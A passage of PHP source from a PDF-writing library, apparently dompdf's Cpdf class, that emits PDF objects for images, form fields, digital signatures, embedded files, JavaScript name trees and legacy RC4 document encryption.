                        // then implement ZLIB based compression on this content stream
                        $res .= " /Filter /FlateDecode";
                        $tmp = gzcompress($tmp, 6);
                    }

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                        $tmp = $this->ARC4($tmp);
                    }

                    foreach ($o['info'] as $k => $v) {
                        $res .= "\n/$k $v";
                    }

                    $res .= "\n/Length " . mb_strlen($tmp, '8bit') . " >>\nstream\n$tmp\nendstream";
                }

                $res .= "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @return string|null
     */
    protected function o_embedjs($id, $action)
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'embedjs',
                    'info' => [
                        'Names' => '[(EmbeddedJS) ' . ($id + 1) . ' 0 R]'
                    ]
                ];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";
                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param string $code
     * @return null|string
     */
    protected function o_javascript($id, $action, $code = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = [
                    't'    => 'javascript',
                    'info' => [
                        'S'  => '/JavaScript',
                        'JS' => '(' . $this->filterText($code, true, false) . ')',
                    ]
                ];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< ";

                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * an image object, will be an XObject in the document, includes description and data
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_image($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                // make the new object
                $this->objects[$id] = ['t' => 'image', 'data' => &$options['data'], 'info' => []];

                $info =& $this->objects[$id]['info'];

                $info['Type'] = '/XObject';
                $info['Subtype'] = '/Image';
                $info['Width'] = $options['iw'];
                $info['Height'] = $options['ih'];

                if (isset($options['masked']) && $options['masked']) {
                    $info['SMask'] = ($this->numObj - 1) . ' 0 R';
                }

                if (!isset($options['type']) || $options['type'] === 'jpg') {
                    if (!isset($options['channels'])) {
                        $options['channels'] = 3;
                    }

                    switch ($options['channels']) {
                        case 1:
                            $info['ColorSpace'] = '/DeviceGray';
                            break;
                        case 4:
                            $info['ColorSpace'] = '/DeviceCMYK';
                            break;
                        default:
                            $info['ColorSpace'] = '/DeviceRGB';
                            break;
                    }

                    if ($info['ColorSpace'] === '/DeviceCMYK') {
                        $info['Decode'] = '[1 0 1 0 1 0 1 0]';
                    }

                    $info['Filter'] = '/DCTDecode';
                    $info['BitsPerComponent'] = 8;
                } else {
                    if ($options['type'] === 'png') {
                        $info['Filter'] = '/FlateDecode';
                        $info['DecodeParms'] = '<< /Predictor 15 /Colors ' . $options['ncolor'] . ' /Columns ' . $options['iw'] . ' /BitsPerComponent ' . $options['bitsPerComponent'] . '>>';

                        if ($options['isMask']) {
                            $info['ColorSpace'] = '/DeviceGray';
                        } else {
                            if (mb_strlen($options['pdata'], '8bit')) {
                                $tmp = ' [ /Indexed /DeviceRGB ' . (mb_strlen($options['pdata'], '8bit') / 3 - 1) . ' ';
                                $this->numObj++;
                                $this->o_contents($this->numObj, 'new');
                                $this->objects[$this->numObj]['c'] = $options['pdata'];
                                $tmp .= $this->numObj . ' 0 R';
                                $tmp .= ' ]';
                                $info['ColorSpace'] = $tmp;

                                if (isset($options['transparency'])) {
                                    $transparency = $options['transparency'];
                                    switch ($transparency['type']) {
                                        case 'indexed':
                                            $tmp = ' [ ' . $transparency['data'] . ' ' . $transparency['data'] . '] ';
                                            $info['Mask'] = $tmp;
                                            break;

                                        case 'color-key':
                                            $tmp = ' [ ' .
                                                $transparency['r'] . ' ' . $transparency['r'] .
                                                $transparency['g'] . ' ' . $transparency['g'] .
                                                $transparency['b'] . ' ' . $transparency['b'] .
                                                ' ] ';
                                            $info['Mask'] = $tmp;
                                            break;
                                    }
                                }
                            } else {
                                if (isset($options['transparency'])) {
                                    $transparency = $options['transparency'];

                                    switch ($transparency['type']) {
                                        case 'indexed':
                                            $tmp = ' [ ' . $transparency['data'] . ' ' . $transparency['data'] . '] ';
                                            $info['Mask'] = $tmp;
                                            break;

                                        case 'color-key':
                                            $tmp = ' [ ' .
                                                $transparency['r'] . ' ' . $transparency['r'] . ' ' .
                                                $transparency['g'] . ' ' . $transparency['g'] . ' ' .
                                                $transparency['b'] . ' ' . $transparency['b'] .
                                                ' ] ';
                                            $info['Mask'] = $tmp;
                                            break;
                                    }
                                }
                                $info['ColorSpace'] = '/' . $options['color'];
                            }
                        }

                        $info['BitsPerComponent'] = $options['bitsPerComponent'];
                    }
                }

                // assign it a place in the named resource dictionary as an external object, according to
                // the label passed in with it.
                $this->o_pages($this->currentNode, 'xObject', ['label' => $options['label'], 'objNum' => $id]);

                // also make sure that we have the right procset object for it.
                $this->o_procset($this->procsetObjectId, 'add', 'ImageC');
                break;

            case 'out':
                $o = &$this->objects[$id];
                $tmp = &$o['data'];
                $res = "\n$id 0 obj\n<<";

                foreach ($o['info'] as $k => $v) {
                    $res .= "\n/$k $v";
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $tmp = $this->ARC4($tmp);
                }

                $res .= "\n/Length " . mb_strlen($tmp, '8bit') . ">>\nstream\n$tmp\nendstream\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * graphics state object
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_extGState($id, $action, $options = "")
    {
        static $valid_params = [
            "LW",
            "LC",
            "LC",
            "LJ",
            "ML",
            "D",
            "RI",
            "OP",
            "op",
            "OPM",
            "Font",
            "BG",
            "BG2",
            "UCR",
            "TR",
            "TR2",
            "HT",
            "FL",
            "SM",
            "SA",
            "BM",
            "SMask",
            "CA",
            "ca",
            "AIS",
            "TK"
        ];

        switch ($action) {
            case "new":
                $this->objects[$id] = ['t' => 'extGState', 'info' => $options];

                // Tell the pages about the new resource
                $this->numStates++;
                $this->o_pages($this->currentNode, 'extGState', ["objNum" => $id, "stateNum" => $this->numStates]);
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /ExtGState\n";

                foreach ($o["info"] as $k => $v) {
                    if (!in_array($k, $valid_params)) {
                        continue;
                    }
                    $res .= "/$k $v\n";
                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param integer $id
     * @param string $action
     * @param mixed $options
     * @return string
     */
    protected function o_xobject($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'xobject', 'info' => $options, 'c' => ''];
                break;

            case 'procset':
                $this->objects[$id]['procset'] = $options;
                break;

            case 'font':
                $this->objects[$id]['fonts'][$options['fontNum']] = [
                  'objNum' => $options['objNum'],
                  'fontNum' => $options['fontNum']
                ];
                break;

            case 'xObject':
                $this->objects[$id]['xObjects'][] = ['objNum' => $options['objNum'], 'label' => $options['label']];
                break;

            case 'out':
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /XObject\n";

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'Subtype':
                            $res .= "/Subtype /$v\n";
                            break;
                        case 'bbox':
                            $res .= "/BBox [";
                            foreach ($v as $value) {
                                $res .= sprintf("%.4F ", $value);
                            }
                            $res .= "]\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                            break;
                    }
                }
                $res .= "/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]\n";

                $res .= "/Resources <<";
                if (isset($o['procset'])) {
                    $res .= "\n/ProcSet " . $o['procset'] . " 0 R";
                } else {
                    $res .= "\n/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]";
                }
                if (isset($o['fonts']) && count($o['fonts'])) {
                    $res .= "\n/Font << ";
                    foreach ($o['fonts'] as $finfo) {
                        $res .= "\n/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R";
                    }
                    $res .= "\n>>";
                }
                if (isset($o['xObjects']) && count($o['xObjects'])) {
                    $res .= "\n/XObject << ";
                    foreach ($o['xObjects'] as $finfo) {
                        $res .= "\n/" . $finfo['label'] . " " . $finfo['objNum'] . " 0 R";
                    }
                    $res .= "\n>>";
                }
                $res .= "\n>>\n";

                $tmp = $o["c"];
                if ($this->compressionReady && $this->options['compression']) {
                    // then implement ZLIB based compression on this content stream
                    $res .= " /Filter /FlateDecode\n";
                    $tmp = gzcompress($tmp, 6);
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $tmp = $this->ARC4($tmp);
                }

                $res .= "/Length " . mb_strlen($tmp, '8bit') . " >>\n";
                $res .= "stream\n" . $tmp . "\nendstream" . "\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_acroform($id, $action, $options = '')
    {
        switch ($action) {
            case "new":
                $this->o_catalog($this->catalogId, 'acroform', $id);
                $this->objects[$id] = array('t' => 'acroform', 'info' => $options);
                break;

            case 'addfield':
                $this->objects[$id]['info']['Fields'][] = $options;
                break;

            case 'font':
                $this->objects[$id]['fonts'][$options['fontNum']] = [
                  'objNum' => $options['objNum'],
                  'fontNum' => $options['fontNum']
                ];
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<<";

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'Fields':
                            $res .= " /Fields [";
                            foreach ($v as $i) {
                                $res .= "$i 0 R ";
                            }
                            $res .= "]\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                    }
                }

                $res .= "/DR <<\n";
                if (isset($o['fonts']) && count($o['fonts'])) {
                    $res .= "/Font << \n";
                    foreach ($o['fonts'] as $finfo) {
                        $res .= "/F" . $finfo['fontNum'] . " " . $finfo['objNum'] . " 0 R\n";
                    }
                    $res .= ">>\n";
                }
                $res .= ">>\n";

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * @param $id
     * @param $action
     * @param mixed $options
     * @return null|string
     */
    protected function o_field($id, $action, $options = '')
    {
        switch ($action) {
            case "new":
                $this->o_page($options['pageid'], 'annot', $id);
                $this->o_acroform($this->acroFormId, 'addfield', $id);
                $this->objects[$id] = ['t' => 'field', 'info' => $options];
                break;

            case 'set':
                $this->objects[$id]['info'] = array_merge($this->objects[$id]['info'], $options);
                break;

            case "out":
                $o = &$this->objects[$id];
                $res = "\n$id 0 obj\n<< /Type /Annot /Subtype /Widget \n";

                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                foreach ($o["info"] as $k => $v) {
                    switch ($k) {
                        case 'pageid':
                            $res .= "/P $v 0 R\n";
                            break;
                        case 'value':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/V ($v)\n";
                            break;
                        case 'refvalue':
                            $res .= "/V $v 0 R\n";
                            break;
                        case 'da':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/DA ($v)\n";
                            break;
                        case 'options':
                            $res .= "/Opt [\n";
                            foreach ($v as $opt) {
                                if ($encrypted) {
                                    $opt = $this->filterText($this->ARC4($opt), false, false);
                                }
                                $res .= "($opt)\n";
                            }
                            $res .= "]\n";
                            break;
                        case 'rect':
                            $res .= "/Rect [";
                            foreach ($v as $value) {
                                $res .= sprintf("%.4F ", $value);
                            }
                            $res .= "]\n";
                            break;
                        case 'appearance':
                            $res .= "/AP << ";
                            foreach ($v as $a => $ref) {
                                $res .= "/$a $ref 0 R ";
                            }
                            $res .= ">>\n";
                            break;
                        case 'T':
                            if ($encrypted) {
                                $v = $this->filterText($this->ARC4($v), false, false);
                            }
                            $res .= "/T ($v)\n";
                            break;
                        default:
                            $res .= "/$k $v\n";
                    }

                }

                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return null|string
     */
    protected function o_sig($id, $action, $options = '')
    {
        $sign_maxlen = $this->signatureMaxLen;

        switch ($action) {
            case "new":
                $this->objects[$id] = array('t' => 'sig', 'info' => $options);
                $this->byteRange[$id] = ['t' => 'sig'];
                break;

            case 'byterange':
                $o = &$this->objects[$id];
                $content =& $options['content'];
                $content_len = strlen($content);
                $pos = strpos($content, sprintf("/ByteRange [ %'.010d", $id));
                $len = strlen('/ByteRange [ ********** ********** ********** ********** ]');
                $rangeStartPos = $pos + $len + 1 + 10; // before '<'
                $content = substr_replace($content, str_pad(sprintf('/ByteRange [ 0 %u %u %u ]', $rangeStartPos, $rangeStartPos + $sign_maxlen + 2, $content_len - 2 - $sign_maxlen - $rangeStartPos), $len, ' ', STR_PAD_RIGHT), $pos, $len);

                $fuid = uniqid();
                $tmpInput = $this->tmp . "/pkcs7.tmp." . $fuid . '.in';
                $tmpOutput = $this->tmp . "/pkcs7.tmp." . $fuid . '.out';

                if (file_put_contents($tmpInput, substr($content, 0, $rangeStartPos)) === false) {
                    throw new \Exception("Unable to write temporary file for signing.");
                }
                if (file_put_contents($tmpInput, substr($content, $rangeStartPos + 2 + $sign_maxlen),
                    FILE_APPEND) === false) {
                    throw new \Exception("Unable to write temporary file for signing.");
                }

                if (openssl_pkcs7_sign($tmpInput, $tmpOutput,
                    $o['info']['SignCert'],
                    array($o['info']['PrivKey'], $o['info']['Password']),
                    array(), PKCS7_BINARY | PKCS7_DETACHED) === false) {
                    throw new \Exception("Failed to prepare signature.");
                }

                $signature = file_get_contents($tmpOutput);

                unlink($tmpInput);
                unlink($tmpOutput);

                $sign = substr($signature, (strpos($signature, "%%EOF\n\n------") + 13));
                list($head, $signature) = explode("\n\n", $sign);

                $signature = base64_decode(trim($signature));

                $signature = current(unpack('H*', $signature));
                $signature = str_pad($signature, $sign_maxlen, '0');
                $siglen = strlen($signature);
                if (strlen($signature) > $sign_maxlen) {
                    throw new \Exception("Signature length ($siglen) exceeds the $sign_maxlen limit.");
                }

                $content = substr_replace($content, $signature, $rangeStartPos + 1, $sign_maxlen);
                break;

            case "out":
                $res = "\n$id 0 obj\n<<\n";

                $encrypted = $this->encrypted;
                if ($encrypted) {
                    $this->encryptInit($id);
                }

                $res .= "/ByteRange " .sprintf("[ %'.010d ********** ********** ********** ]\n", $id);
                $res .= "/Contents <" . str_pad('', $sign_maxlen, '0') . ">\n";
                $res .= "/Filter/Adobe.PPKLite\n"; //PPKMS \n";
                $res .= "/Type/Sig/SubFilter/adbe.pkcs7.detached \n";

                $date = "D:" . substr_replace(date('YmdHisO'), '\'', -2, 0) . '\'';
                if ($encrypted) {
                    $date = $this->ARC4($date);
                }

                $res .= "/M ($date)\n";
                $res .= "/Prop_Build << /App << /Name /DomPDF >> /Filter << /Name /Adobe.PPKLite >> >>\n";

                $o = &$this->objects[$id];
                foreach ($o['info'] as $k => $v) {
                    switch ($k) {
                        case 'Name':
                        case 'Location':
                        case 'Reason':
                        case 'ContactInfo':
                            if ($v !== null && $v !== '') {
                                $res .= "/$k (" .
                                  ($encrypted ? $this->filterText($this->ARC4($v), false, false) : $v) . ") \n";
                            }
                            break;
                    }
                }
                $res .= ">>\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * encryption object.
     *
     * @param $id
     * @param $action
     * @param string $options
     * @return string|null
     */
    protected function o_encryption($id, $action, $options = '')
    {
        switch ($action) {
            case 'new':
                // make the new object
                $this->objects[$id] = ['t' => 'encryption', 'info' => $options];
                $this->arc4_objnum = $id;
                break;

            case 'keys':
                // figure out the additional parameters required
                $pad = chr(0x28) . chr(0xBF) . chr(0x4E) . chr(0x5E) . chr(0x4E) . chr(0x75) . chr(0x8A) . chr(0x41)
                    . chr(0x64) . chr(0x00) . chr(0x4E) . chr(0x56) . chr(0xFF) . chr(0xFA) . chr(0x01) . chr(0x08)
                    . chr(0x2E) . chr(0x2E) . chr(0x00) . chr(0xB6) . chr(0xD0) . chr(0x68) . chr(0x3E) . chr(0x80)
                    . chr(0x2F) . chr(0x0C) . chr(0xA9) . chr(0xFE) . chr(0x64) . chr(0x53) . chr(0x69) . chr(0x7A);

                $info = $this->objects[$id]['info'];

                $len = mb_strlen($info['owner'], '8bit');

                if ($len > 32) {
                    $owner = substr($info['owner'], 0, 32);
                } else {
                    if ($len < 32) {
                        $owner = $info['owner'] . substr($pad, 0, 32 - $len);
                    } else {
                        $owner = $info['owner'];
                    }
                }

                $len = mb_strlen($info['user'], '8bit');
                if ($len > 32) {
                    $user = substr($info['user'], 0, 32);
                } else {
                    if ($len < 32) {
                        $user = $info['user'] . substr($pad, 0, 32 - $len);
                    } else {
                        $user = $info['user'];
                    }
                }

                $tmp = $this->md5_16($owner);
                $okey = substr($tmp, 0, 5);
                $this->ARC4_init($okey);
                $ovalue = $this->ARC4($user);
                $this->objects[$id]['info']['O'] = $ovalue;

                // now make the u value, phew.
                $tmp = $this->md5_16(
                    $user . $ovalue . chr($info['p']) . chr(255) . chr(255) . chr(255) . hex2bin($this->fileIdentifier)
                );

                $ukey = substr($tmp, 0, 5);
                $this->ARC4_init($ukey);
                $this->encryptionKey = $ukey;
                $this->encrypted = true;
                $uvalue = $this->ARC4($pad);
                $this->objects[$id]['info']['U'] = $uvalue;
                // initialize the arc4 array
                break;

            case 'out':
                $o = &$this->objects[$id];

                $res = "\n$id 0 obj\n<<";
                $res .= "\n/Filter /Standard";
                $res .= "\n/V 1";
                $res .= "\n/R 2";
                $res .= "\n/O (" . $this->filterText($o['info']['O'], false, false) . ')';
                $res .= "\n/U (" . $this->filterText($o['info']['U'], false, false) . ')';
                // and the p-value needs to be converted to account for the twos-complement approach
                $o['info']['p'] = (($o['info']['p'] ^ 255) + 1) * -1;
                $res .= "\n/P " . ($o['info']['p']);
                $res .= "\n>>\nendobj";

                return $res;
        }

        return null;
    }

    protected function o_indirect_references($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
            case 'add':
                if ($id === 0) {
                    $id = ++$this->numObj;
                    $this->o_catalog($this->catalogId, 'names', $id);
                    $this->objects[$id] = ['t' => 'indirect_references', 'info' => $options];
                    $this->indirectReferenceId = $id;
                } else {
                    $this->objects[$id]['info'] = array_merge($this->objects[$id]['info'], $options);
                }
                break;
            case 'out':
                $res = "\n$id 0 obj << ";

                foreach ($this->objects[$id]['info'] as $referenceObjName => $referenceObjId) {
                    $res .= "/$referenceObjName $referenceObjId 0 R ";
                }

                $res .= ">> endobj";
                return $res;
        }

        return null;
    }

    protected function o_names($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
            case 'add':
                if ($id === 0) {
                    $id = ++$this->numObj;
                    $this->objects[$id] = ['t' => 'names', 'info' => [$options]];
                    $this->o_indirect_references($this->indirectReferenceId, 'add', ['EmbeddedFiles' => $id]);
                    $this->embeddedFilesId = $id;
                } else {
                    $this->objects[$id]['info'][] = $options;
                }
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];
                $res = '';
                if (count($info) > 0) {
                    $res = "\n$id 0 obj << /Names [ ";

                    if ($this->encrypted) {
                        $this->encryptInit($id);
                    }

                    foreach ($info as $entry) {
                        if ($this->encrypted) {
                            $filename = $this->ARC4($entry['filename']);
                        } else {
                            $filename = $entry['filename'];
                        }

                        $res .= "($filename) " . $entry['dict_reference'] . " 0 R ";
                    }

                    $res .= "] >> endobj";
                }
                return $res;
        }

        return null;
    }

    protected function o_embedded_file_dictionary($id, $action, $options = null)
    {
        switch ($action) {
            case 'new':
                $embeddedFileId = ++$this->numObj;
                $options['embedded_reference'] = $embeddedFileId;
                $this->objects[$id] = ['t' => 'embedded_file_dictionary', 'info' => $options];
                $this->o_embedded_file($embeddedFileId, 'new', $options);
                $options['dict_reference'] = $id;
                $this->o_names($this->embeddedFilesId, 'add', $options);
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];
                $filename = $this->utf8toUtf16BE($info['filename']);
                $description = $this->utf8toUtf16BE($info['description']);

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $filename = $this->ARC4($filename);
                    $description = $this->ARC4($description);
                }

                $filename = $this->filterText($filename, false, false);
                $description = $this->filterText($description, false, false);

                $res = "\n$id 0 obj <</Type /Filespec /EF";
                $res .= " <</F " . $info['embedded_reference'] . " 0 R >>";
                $res .= " /F ($filename) /UF ($filename) /Desc ($description)";
                $res .= " >> endobj";
                return $res;
        }

        return null;
    }

    protected function o_embedded_file($id, $action, $options = null): ?string
    {
        switch ($action) {
            case 'new':
                $this->objects[$id] = ['t' => 'embedded_file', 'info' => $options];
                break;
            case 'out':
                $info = &$this->objects[$id]['info'];

                if ($this->compressionReady) {
                    $filepath = $info['filepath'];
                    $checksum = md5_file($filepath);
                    $f = fopen($filepath, "rb");

                    $file_content_compressed = '';
                    $deflateContext = deflate_init(ZLIB_ENCODING_DEFLATE, ['level' => 6]);
                    while (($block = fread($f, 8192))) {
                        $file_content_compressed .= deflate_add($deflateContext, $block, ZLIB_NO_FLUSH);
                    }
                    $file_content_compressed .= deflate_add($deflateContext, '', ZLIB_FINISH);
                    $file_size_uncompressed = ftell($f);
                    fclose($f);
                } else {
                    $file_content = file_get_contents($info['filepath']);
                    $file_size_uncompressed = mb_strlen($file_content, '8bit');
                    $checksum = md5($file_content);
                }

                if ($this->encrypted) {
                    $this->encryptInit($id);
                    $checksum = $this->ARC4($checksum);
                    $file_content_compressed = $this->ARC4($file_content_compressed);
                }
                $file_size_compressed = mb_strlen($file_content_compressed, '8bit');

                $res = "\n$id 0 obj <</Params <</Size $file_size_uncompressed /CheckSum ($checksum) >>" .
                    " /Type/EmbeddedFile /Filter/FlateDecode" .
                    " /Length $file_size_compressed >> stream\n$file_content_compressed\nendstream\nendobj";

                return $res;
        }

        return null;
    }

    /**
     * ARC4 functions
     * A series of function to implement ARC4 encoding in PHP
     */

    /**
     * calculate the 16 byte version of the 128 bit md5 digest of the string
     *
     * @param $string
     * @return string
     */
    function md5_16($string)
    {
        $tmp = md5($string);
        $out = '';
        for ($i = 0; $i <= 30; $i = $i + 2) {
            $out .= chr(hexdec(substr($tmp, $i, 2)));
        }

        return $out;
    }

    /**
     * initialize the encryption for processing a particular object
     *
     * @param $id
     */
    function encryptInit($id)
    {
        $tmp = $this->encryptionKey;
        $hex = dechex($id);
        if (mb_strlen($hex, '8bit') < 6) {
            $hex = substr('000000', 0, 6 - mb_strlen($hex, '8bit')) . $hex;
        }
        $tmp .= chr(hexdec(substr($hex, 4, 2)))
            . chr(hexdec(substr($hex, 2, 2)))
            . chr(hexdec(substr($hex, 0, 2)))
            . chr(0)
            . chr(0)
        ;
        $key = $this->md5_16($tmp);
        $this->ARC4_init(substr($key, 0, 10));
    }

    /**
     * initialize the ARC4 encryption
     *
     * @param string $key
     */
    function ARC4_init($key = '')
    {
        $this->arc4 = '';

        // setup the control array
        if (mb_strlen($key, '8bit') == 0) {
            return;
        }

        $k = '';
        while (mb_strlen($k, '8bit') < 256) {
            $k .= $key;
        }

        $k = substr($k, 0, 256);
        for ($i = 0; $i < 256; $i++) {
            $this->arc4 .= chr($i);
        }

        $j = 0;

        for ($i = 0; $i < 256; $i++) {
            $t = $this->arc4[$i];
            $j = ($j + ord($t) + ord($k[$i])) % 256;
            $this->arc4[$i] = $this->arc4[$j];
            $this->arc4[$j] = $t;
        }
    }

    /**
     * ARC4 encrypt a text string
     *
     * @param $text
     * @return string
     */
    function ARC4($text)
    {
        $len = mb_strlen($text, '8bit');
        $a = 0;
        $b = 0;
        $c = $this->arc4;
        $out = '';
        for ($i = 0; $i < $len; $i++) {
            $a = ($a + 1) % 256;
            $t = $c[$a];
            $b = ($b + ord($t)) % 256;
            $c[$a] = $c[$b];
            $c[$b] = $t;
            $k = ord($c[(ord($c[$a]) + ord($c[$b])) % 256]);
            $out .= chr(ord($text[$i]) ^ $k);
        }

        return $out;
    }

    /**
     * functions which can be called to adjust or add to the document
     */

    /**
     * add a link in the document to an external URL
     *
     * @param $url
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     */
    function addLink($url, $x0, $y0, $x1, $y1)
    {
        $this->numObj++;
        $info = ['type' => 'link', 'url' => $url, 'rect' => [$x0, $y0, $x1, $y1]];
        $this->o_annotation($this->numObj, 'new', $info);
    }

    /**
     * add a link in the document to an internal destination (ie. within the document)
     *
     * @param $label
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     */
    function addInternalLink($label, $x0, $y0, $x1, $y1)
    {
        $this->numObj++;
        $info = ['type' => 'ilink', 'label' => $label, 'rect' => [$x0, $y0, $x1, $y1]];
        $this->o_annotation($this->numObj, 'new', $info);
    }

    /**
     * set the encryption of the document
     * can be used to turn it on and/or set the passwords which it will have.
     * also the functions that the user will have are set here, such as print, modify, add
     *
     * @param string $userPass
     * @param string $ownerPass
     * @param array $pc
     */
    function setEncryption($userPass = '', $ownerPass = '', $pc = [])
    {
        $p = bindec("11000000");

        $options = ['print' => 4, 'modify' => 8, 'copy' => 16, 'add' => 32];

        foreach ($pc as $k => $v) {
            if ($v && isset($options[$k])) {
                $p += $options[$k];
            } else {
                if (isset($options[$v])) {
                    $p += $options[$v];
                }
            }
        }

        // implement encryption on the document
        if ($this->arc4_objnum == 0) {
            // then the block does not exist already, add it.
            $this->numObj++;
            if (mb_strlen($ownerPass) == 0) {
                $ownerPass = $userPass;
            }

            $this->o_encryption($this->numObj, 'new', ['user' => $userPass, 'owner' => $ownerPass, 'p' => $p]);
        }
    }

    /**
     * should be used for internal checks, not implemented as yet
     */
    function checkAllHere()
    {
    }

    /**
     * return the pdf stream as a string returned from the function
     *
     * @param bool $debug
     * @return string
     */
    function output($debug = false)
    {
        if ($debug) {
            // turn compression off
            $this->options['compression'] = false;
        }

        if ($this->javascript) {
            $this->numObj++;

            $js_id = $this->numObj;
            $this->o_embedjs($js_id, 'new');
            $this->o_javascript(++$this->numObj, 'new', $this->javascript);

            $id = $this->catalogId;

            $this->o_indirect_references($this->indirectReferenceId, 'add', ['JavaScript' => $js_id]);
        }

        if ($this->fileIdentifier === '') {
            $tmp = implode('', $this->objects[$this->infoObject]['info']);
            $this->fileIdentifier = md5('DOMPDF' . __FILE__ . $tmp . microtime() . mt_rand());
        }

        if ($this->arc4_objnum) {
            $this->o_encryption($this->arc4_objnum, 'keys');
            $this->ARC4_init($this->encryptionKey);
        }

        $this->checkAllHere();

        $xref = [];
        $content = '%PDF-' . self::PDF_VERSION;
        $pos = mb_strlen($content, '8bit');

        // pre-process o_font objects before output of all objects
        foreach ($this->objects as $k => $v) {
            if ($v['t'] === 'font') {
                $this->o_font($k, 'add');
            }
        }

        foreach ($this->objects as $k => $v) {
            $tmp = 'o_' . $v['t'];
            $cont = $this->$tmp($k, 'out');
            $content .= $cont;
            $xref[] = $pos + 1; //+1 to account for \n at the start of each object
            $pos += mb_strlen($cont, '8bit');
        }

        $content .= "\nxref\n0 " . (count($xref) + 1) . "\n0000000000 65535 f \n";

        foreach ($xref as $p) {
            $content .= str_pad($p, 10, "0", STR_PAD_LEFT) . " 00000 n \n";
        }

        $content .= "trailer\n<<\n" .
            '/Size ' . (count($xref) + 1) . "\n" .
            '/Root 1 0 R' . "\n" .
            '/Info ' . $this->infoObject . " 0 R\n"
        ;

        // if encryption has been applied to this document then add the marker for this dictionary
        if ($this->arc4_objnum > 0) {
            $content .= '/Encrypt ' . $this->arc4_objnum . " 0 R\n";
        }

        $content .= '/ID[<' . $this->fileIdentifier . '><' . $this->fileIdentifier . ">]\n";

        // account for \n added at start of xref table
        $pos++;

        $content .= ">>\nstartxref\n$pos\n%%EOF\n";

        if (count($this->byteRange) > 0) {
            foreach ($this->byteRange as $k => $v) {
                $tmp = 'o_' . $v['t'];
                $this->$tmp($k, 'byterange', ['content' => &$content]);
            }
        }

        return $content;
    }

    /**
     * initialize a new document
     * if this is called on an existing document results may be unpredictable, but the existing document would be lost at minimum
     * this function is called automatically by the constructor function
     *
     * @param array $pageSize
     */
    private function newDocument($pageSize = [0, 0, 612, 792])
    {
        $this->numObj = 0;
        $this->objects = [];

        $this->numObj++;
        $this->o_catalog($this->numObj, 'new');

        $this->numObj++;
        $this->o_outlines($this->numObj, 'new');

        $this->numObj++;
        $this->o_pages($this->numObj, 'new');

        $this->o_pages($this->numObj, 'mediaBox', $pageSize);
        $this->currentNode = 3;

        $this->numObj++;
        $this->o_procset($this->numObj, 'new');

        $this->numObj++;
        $this->o_info($this->numObj, 'new');

        $this->numObj++;
        $this->o_page($this->numObj, 'new');

        // need to store the first page id as there is no way to get it to the user during
        // startup
        $this->firstPageId = $this->currentContents;
    }

    /**
     * open the font file and return a php structure containing it.
     * first check if this one has been done before and saved in a form more suited to php
     * note that if a php serialized version does not exist it will try and make one, but will
     * require write access to the directory to do it... it is MUCH faster to have these serialized
     * files.
     *
     * @param $font
     */
    private function openFont($font)
    {
        // assume that $font contains the path and file but not the extension
        $name = basename($font);
        $dir = dirname($font);

        $fontcache = $this->fontcache;
        if ($fontcache == '') {
            $fontcache = $dir;
        }

        //$name       filename without folder and extension of font metrics
        //$dir        folder of font metrics
        //$fontcache  folder of runtime created php serialized version of font metrics.
        //            If this is not given, the same folder as the font metrics will be used.
        //            Storing and reusing serialized versions improves speed much

        $this->addMessage("openFont: $font - $name");

        if (!$this->isUnicode || in_array(mb_strtolower(basename($name)), self::$coreFonts)) {
            $metrics_name = "$name.afm";
        } else {
            $metrics_name = "$name.ufm";
        }

        $cache_name = "$metrics_name.json";
        $this->addMessage("metrics: $metrics_name, cache: $cache_name");

        if (file_exists($fontcache . '/' . $cache_name)) {
            $this->addMessage("openFont: json metrics file exists $fontcache/$cache_name");
